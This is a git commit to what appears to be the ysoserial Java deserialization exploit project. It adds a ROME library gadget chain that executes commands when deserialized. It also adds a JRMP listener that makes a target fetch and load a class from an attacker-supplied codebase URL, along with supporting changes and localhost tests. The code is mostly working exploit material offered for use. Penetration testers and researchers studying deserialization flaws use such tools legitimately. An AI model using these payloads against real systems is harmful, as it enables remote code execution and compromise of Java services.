Add rome (RSS/Atom library) gadget chain.

Add exploit and test code for JRMP reverse connect remote classloading.
This commit is contained in:
mbechler
2016-03-12 17:35:17 +01:00
parent bdb1e0db3d
commit 3230c080ff
9 changed files with 244 additions and 7 deletions
+5
View File
@@ -233,6 +233,11 @@
<artifactId>xalan</artifactId> <artifactId>xalan</artifactId>
<version>2.7.2</version> <version>2.7.2</version>
</dependency> </dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies> </dependencies>
<profiles> <profiles>
@@ -0,0 +1,50 @@
package ysoserial.exploit;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
*
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
*
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
*
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
*
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*
*/
public class JRMPClassLoadingListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -96,6 +96,14 @@ public class JRMPClient {
} }
static final class MarshalOutputStream extends ObjectOutputStream { static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException { MarshalOutputStream ( OutputStream out ) throws IOException {
super(out); super(out);
@@ -103,12 +111,15 @@ public class JRMPClient {
@Override @Override
protected void annotateClass ( Class<?> cl ) throws IOException { protected void annotateClass ( Class<?> cl ) throws IOException {
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null); writeObject(null);
} }
else { else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = ""; String cb = "";
for ( URL u : us ) { for ( URL u : us ) {
cb += u.toString(); cb += u.toString();
} }
@@ -11,10 +11,12 @@ import java.io.ObjectInputStream;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass; import java.io.ObjectStreamClass;
import java.io.OutputStream; import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.ServerSocket; import java.net.ServerSocket;
import java.net.Socket; import java.net.Socket;
import java.net.SocketException; import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException; import java.rmi.MarshalException;
import java.rmi.server.ObjID; import java.rmi.server.ObjID;
import java.rmi.server.UID; import java.rmi.server.UID;
@@ -22,6 +24,9 @@ import java.rmi.server.UID;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory; import javax.net.ServerSocketFactory;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants; import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -47,6 +52,7 @@ public class JRMPListener implements Runnable {
private Object waitLock = new Object(); private Object waitLock = new Object();
private boolean exit; private boolean exit;
private boolean hadConnection; private boolean hadConnection;
private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
@@ -54,6 +60,13 @@ public class JRMPListener implements Runnable {
this.payloadObject = payloadObject; this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} }
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) { public boolean waitFor ( int i ) {
@@ -246,7 +259,7 @@ public class JRMPListener implements Runnable {
System.err.println("Sending return with payload"); System.err.println("Sending return with payload");
out.writeByte(TransportConstants.Return);// transport op out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out); ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn); oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos); new UID().write(oos);
@@ -264,4 +277,24 @@ public class JRMPListener implements Runnable {
} }
} }
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
} }
@@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( { @SuppressWarnings ( {
"restriction" "restriction"
} ) } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> { public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception { public Registry getObject ( final String command ) throws Exception {
@@ -0,0 +1,45 @@
package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@Dependencies("rome:rome:1.0")
public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}
}
@@ -36,7 +36,9 @@ public class Gadgets {
static { static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled // special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true"); System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
} }
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
@@ -0,0 +1,64 @@
package ysoserial.payloads;
import java.net.URL;
import java.util.concurrent.Callable;
import ysoserial.WrappedTest;
import ysoserial.exploit.JRMPListener;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest {
private int jrmpPort;
public JRMPReverseConnectSMTest (String command) {
super(command);
// some payloads cannot specify the port
jrmpPort = 1099;
}
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
*/
@Override
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
return super.createCallable(new Callable<Object>() {
public Object call () throws Exception {
JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
Object res = innerCallable.call();
l.waitFor(1000);
return res;
}
finally {
l.close();
t.interrupt();
t.join();
}
}
});
}
@Override
public String getPayloadArgs () {
return "localhost:" + jrmpPort;
}
}
@@ -3,6 +3,7 @@ package ysoserial.payloads;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.IOException; import java.io.IOException;
import java.io.Serializable;
import java.util.Random; import java.util.Random;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
@@ -35,11 +36,17 @@ public class RemoteClassLoadingTest implements WrappedTest {
return String.format("http://localhost:%d/", this.port) + ":" + this.className; return String.format("http://localhost:%d/", this.port) + ":" + this.className;
} }
public int getHTTPPort () {
return this.port;
}
public Callable<Object> createCallable ( Callable<Object> innerCallable ) { public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
} }
public String getExploitClassName () {
return this.className;
}
protected byte[] makePayloadClass () { protected byte[] makePayloadClass () {
try { try {
@@ -60,6 +67,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
private Callable<Object> innerCallable; private Callable<Object> innerCallable;
private byte[] data; private byte[] data;
private Object waitLock = new Object();
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) { public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
@@ -68,12 +76,22 @@ public class RemoteClassLoadingTest implements WrappedTest {
this.innerCallable = innerCallable; this.innerCallable = innerCallable;
} }
public void waitFor() throws InterruptedException {
synchronized ( this.waitLock ) {
this.waitLock.wait(1000);
}
}
public Object call () throws Exception { public Object call () throws Exception {
try { try {
setup(); setup();
return this.innerCallable.call(); Object res = this.innerCallable.call();
waitFor();
Thread.sleep(1000);
return res;
} }
finally { finally {
cleanup(); cleanup();
@@ -93,12 +111,21 @@ public class RemoteClassLoadingTest implements WrappedTest {
@Override @Override
public Response serve ( IHTTPSession sess ) { public Response serve ( IHTTPSession sess ) {
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); System.out.println("Serving " + sess.getUri());
Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
return response;
} }
} }
public static class Exploit {
public static class Exploit implements Serializable {
private static final long serialVersionUID = 1L;
} }
} }